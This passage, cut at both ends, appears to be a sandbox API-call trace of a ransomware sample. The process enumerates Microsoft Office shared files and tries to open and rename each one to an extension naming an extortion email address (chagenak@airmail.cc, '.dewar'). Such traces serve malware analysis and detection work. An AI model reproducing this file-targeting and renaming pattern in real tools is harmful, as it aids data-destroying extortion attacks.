dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.052] SetEvent (hEvent=0x118) returned 1 [0243.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.053] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=943322) returned 1 [0243.053] CloseHandle (hObject=0x1e0) returned 1 [0243.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its")) returned 0x20 [0243.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its")) returned 0x20 [0243.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENFR\\MSB1ENFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enfr\\msb1enfr.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.055] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.055] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=229888) returned 1 [0243.055] CloseHandle (hObject=0x1e0) returned 1 [0243.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.dll")) returned 0x20 [0243.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.dll")) returned 0x20 [0243.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.057] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1046514) returned 1 [0243.058] CloseHandle (hObject=0x1e0) returned 1 [0243.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its")) returned 0x20 [0243.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its")) returned 0x20 [0243.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.058] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\MSB1ESEN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\msb1esen.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.059] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=678912) returned 1 [0243.059] CloseHandle (hObject=0x1e0) returned 1 [0243.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex")) returned 0x20 [0243.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex")) returned 0x20 [0243.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ESEN\\WT61ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\esen\\wt61es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.061] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.061] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1469358) returned 1 [0243.061] CloseHandle (hObject=0x1e0) returned 1 [0243.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its")) returned 0x20 [0243.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its")) returned 0x20 [0243.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.063] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=229888) returned 1 [0243.063] CloseHandle (hObject=0x1e0) returned 1 [0243.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.dll")) returned 0x20 [0243.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.dll")) returned 0x20 [0243.064] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.065] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=840364) returned 1 [0243.065] CloseHandle (hObject=0x1e0) returned 1 [0243.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its")) returned 0x20 [0243.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its")) returned 0x20 [0243.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.076] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=616960) returned 1 [0243.076] CloseHandle (hObject=0x1e0) returned 1 [0243.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex")) returned 0x20 [0243.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex")) returned 0x20 [0243.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.077] SetEvent (hEvent=0x118) returned 1 [0243.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.078] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=2120459) returned 1 [0243.078] CloseHandle (hObject=0x1e0) returned 1 [0243.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex")) returned 0x20 [0243.078] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0243.079] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1AR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1ar.lex")) returned 0 [0243.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.082] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=1536) returned 1 [0243.083] CloseHandle (hObject=0x1e0) returned 1 [0243.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex")) returned 0x20 [0243.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex")) returned 0x20 [0243.083] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.083] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CACH.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1cach.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1core.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.087] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=178576) returned 1 [0243.087] CloseHandle (hObject=0x1e0) returned 1 [0243.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1core.dll")) returned 0x20 [0243.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1core.dll")) returned 0x20 [0243.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1core.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1CORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1core.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.088] SetEvent (hEvent=0x118) returned 1 [0243.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1star.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.089] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=266096) returned 1 [0243.089] CloseHandle (hObject=0x1e0) returned 1 [0243.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1star.dll")) returned 0x20 [0243.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1star.dll")) returned 0x20 [0243.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1star.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1STAR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1star.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.093] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=70544) returned 1 [0243.093] CloseHandle (hObject=0x1e0) returned 1 [0243.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll")) returned 0x20 [0243.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll")) returned 0x20 [0243.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.093] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\MSB1XTOR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\msb1xtor.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.094] SetEvent (hEvent=0x118) returned 1 [0243.094] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.094] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=221184) returned 1 [0243.095] CloseHandle (hObject=0x1e0) returned 1 [0243.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll")) returned 0x20 [0243.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll")) returned 0x20 [0243.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\WTSP61MS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\wtsp61ms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.096] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.098] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=334427) returned 1 [0243.098] CloseHandle (hObject=0x1e0) returned 1 [0243.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 0x20 [0243.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 0x20 [0243.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0243.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.102] SetEvent (hEvent=0x118) returned 1 [0243.103] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBCN6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbcn6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0243.104] GetFileSizeEx 